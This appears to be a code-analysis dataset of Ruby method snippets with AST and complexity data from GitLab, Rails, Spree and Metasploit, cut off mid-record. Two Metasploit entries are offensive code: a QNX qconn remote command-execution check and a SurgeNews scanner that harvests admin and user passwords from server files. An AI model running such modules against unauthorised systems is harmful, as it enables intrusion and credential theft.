+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/current/organization.rb","start_line":22,"raw_source":"def from_params\n from_group_params || from_organization_params\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"from_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"from_group_params\"]},{\"type\":\"send\",\"children\":[null,\"from_organization_params\"]}]}]}","id":"4257088c-96f2-43f9-b528-dd6ba1987937"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/tasks/database_tasks_test.rb","start_line":1208,"raw_source":"def test_migrate_raise_error_on_invalid_version_format\n version = ENV[\"VERSION\"]\n\n ENV[\"VERSION\"] = \"unknown\"\n e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }\n assert_match(/Invalid format of target version/, e.message)\n\n ENV[\"VERSION\"] = \"0.1.11\"\n e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }\n assert_match(/Invalid format of target version/, e.message)\n\n ENV[\"VERSION\"] = \"1.1.11\"\n e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }\n assert_match(/Invalid format of target version/, e.message)\n\n ENV[\"VERSION\"] = \"0 \"\n e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }\n assert_match(/Invalid format of target version/, e.message)\n\n ENV[\"VERSION\"] = \"1.\"\n e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }\n assert_match(/Invalid format of target version/, e.message)\n\n ENV[\"VERSION\"] = \"1_\"\n e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }\n assert_match(/Invalid format of target version/, e.message)\n\n ENV[\"VERSION\"] = \"1__1\"\n e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }\n assert_match(/Invalid format of target version/, e.message)\n\n ENV[\"VERSION\"] = \"1_name\"\n e = assert_raise(RuntimeError) { ActiveRecord::Tasks::DatabaseTasks.migrate }\n assert_match(/Invalid format of target version/, e.message)\n ensure\n ENV[\"VERSION\"] = version\n end","complexity_score":67.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_migrate_raise_error_on_invalid_version_format\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VERSION\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"str\",\"children\":[\"unknown\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"migrate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid format of target version\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"str\",\"children\":[\"0.1.11\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"migrate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid format of target version\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"str\",\"children\":[\"1.1.11\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"migrate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid format of target version\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"str\",\"children\":[\"0 \"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"migrate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid format of target version\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"str\",\"children\":[\"1.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"migrate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid format of target version\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"str\",\"children\":[\"1_\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"migrate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid format of target version\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"str\",\"children\":[\"1__1\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"migrate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid format of target version\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"str\",\"children\":[\"1_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"migrate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid format of target version\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}","id":"8492423b-23a0-432f-bd5a-d867c12610fc"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/qnx/qconn/qconn_exec.rb","start_line":71,"raw_source":"def check\n vprint_status('Sending check...')\n\n connect\n res = sock.get_once(-1, 10)\n\n return CheckCode::Unknown('Connection failed') unless res\n\n return CheckCode::Safe unless res.include?('QCONN')\n\n sock.put(\"service launcher\\n\")\n res = sock.get_once(-1, 10)\n\n return CheckCode::Safe unless res.to_s.include?('OK')\n\n fingerprint = Rex::Text.rand_text_alphanumeric(5..10)\n sock.put(\"start/flags run /bin/echo /bin/echo #{fingerprint}\\n\")\n\n return CheckCode::Safe unless res.to_s.include?('OK')\n\n Rex.sleep(1)\n\n res = sock.get_once(-1, 10)\n\n return CheckCode::Safe unless res.to_s.include?(fingerprint)\n\n disconnect\n\n CheckCode::Vulnerable\n end","complexity_score":34.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Sending check...\"]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Connection failed\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"include?\",{\"type\":\"str\",\"children\":[\"QCONN\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"str\",\"children\":[\"service launcher\\n\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"OK\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fingerprint\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"start/flags run /bin/echo /bin/echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprint\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"OK\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"sleep\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"fingerprint\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\"]}]}]}","id":"213c1c88-f122-4f17-a315-5770d519c132"}
+{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/store_credit_categories_controller.rb","start_line":6,"raw_source":"def permitted_resource_params\n params.require(:store_credit_category).permit(permitted_store_credit_category_attributes)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_resource_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"store_credit_category\"]}]},\"permit\",{\"type\":\"send\",\"children\":[null,\"permitted_store_credit_category_attributes\"]}]}]}","id":"c54432a7-6a6b-4704-bc80-3398304c7c2c"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/mergeability/check_discussions_status_service.rb","start_line":8,"raw_source":"def execute\n return inactive unless merge_request.only_allow_merge_if_all_discussions_are_resolved?\n\n if merge_request.mergeable_discussions_state?\n success\n else\n failure\n end\n end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"only_allow_merge_if_all_discussions_are_resolved?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inactive\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"mergeable_discussions_state?\"]},{\"type\":\"send\",\"children\":[null,\"success\"]},{\"type\":\"send\",\"children\":[null,\"failure\"]}]}]}]}","id":"bf053bd4-78c4-4e10-a05a-9e073905867c"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/surgenews_user_creds.rb","start_line":120,"raw_source":"def run_host(_ip)\n @tries = 0\n\n service_data = {\n address: rhost,\n port: rport,\n service_name: (ssl ? 'https' : 'http'),\n protocol: 'tcp',\n workspace_id: myworkspace_id\n }\n\n cred_table = Rex::Text::Table.new 'Header' => 'SurgeNews User Credentials',\n 'Indent' => 1,\n 'Columns' => ['Username', 'Password', 'Password Hash', 'Admin']\n\n # Read administrator password from password.log\n admin = parse_log read_file 'password.log'\n # If password.log doesn't contain credentials\n # then the password hasn't been updated since install.\n # Retrieve the credentials from install.log instead.\n admin = parse_log read_file 'install.log' if admin.nil?\n\n if admin.nil?\n vprint_error 'Found no administrator credentials'\n else\n print_good \"Found administrator credentials (#{admin['username']}:#{admin['password']})\"\n cred_table << [admin['username'], admin['password'], nil, true]\n\n credential_data = {\n origin_type: :service,\n module_fullname: fullname,\n private_type: :password,\n private_data: admin['password'],\n username: admin['username']\n }\n\n credential_data.merge! service_data\n credential_core = create_credential credential_data\n login_data = {\n core: credential_core,\n access_level: 'Administrator',\n status: Metasploit::Model::Login::Status::UNTRIED\n }\n login_data.merge! service_data\n create_credential_login login_data\n end\n\n # Read user credentials from nwauth.add\n users = parse_user_db read_file 'nwauth.add'\n if users.blank?\n vprint_error 'Found no user credentials in nwauth.add'\n return\n end\n vprint_status \"Found #{users.length} users in nwauth.add\"\n\n unless users.nil?\n users.each do |user|\n next if user.empty?\n\n cred_table << [user['username'], user['password'], user['hash'], false]\n\n if user['password']\n print_good \"Found user credentials (#{user['username']}:#{user['password']})\"\n credential_data = {\n origin_type: :service,\n module_fullname: fullname,\n private_type: :password,\n private_data: user['password'],\n username: user['username']\n }\n else\n credential_data = {\n origin_type: :service,\n module_fullname: fullname,\n private_type: :nonreplayable_hash,\n private_data: user['hash'],\n username: user['username']\n }\n end\n\n credential_data.merge! service_data\n credential_core = create_credential credential_data\n login_data = {\n core: credential_core,\n access_level: 'User',\n status: Metasploit::Model::Login::Status::UNTRIED\n }\n login_data.merge! service_data\n create_credential_login login_data\n end\n end\n\n print_line\n print_line cred_table.to_s\n\n p = store_loot 'surgenews.user.creds', 'text/csv', rhost, cred_table.to_csv, 'SurgeNews User Credentials'\n print_good \"Credentials saved in: #{p}\"\n end","complexity_score":97.8,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tries\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl\"]},{\"type\":\"str\",\"children\":[\"https\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cred_table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"SurgeNews User Credentials\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Username\"]},{\"type\":\"str\",\"children\":[\"Password\"]},{\"type\":\"str\",\"children\":[\"Password Hash\"]},{\"type\":\"str\",\"children\":[\"Admin\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"admin\",{\"type\":\"send\",\"children\":[null,\"parse_log\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"str\",\"children\":[\"password.log\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"admin\",{\"type\":\"send\",\"children\":[null,\"parse_log\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"str\",\"children\":[\"install.log\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Found no administrator credentials\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found administrator credentials (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_table\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_core\",{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"lvar\",\"children\":[\"credential_core\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"access_level\"]},{\"type\":\"str\",\"children\":[\"Administrator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login_data\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"send\",\"children\":[null,\"parse_user_db\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"str\",\"children\":[\"nwauth.add\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Found no user credentials in nwauth.add\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" users in nwauth.add\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"nil?\"]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_table\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"hash\"]}]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found user credentials 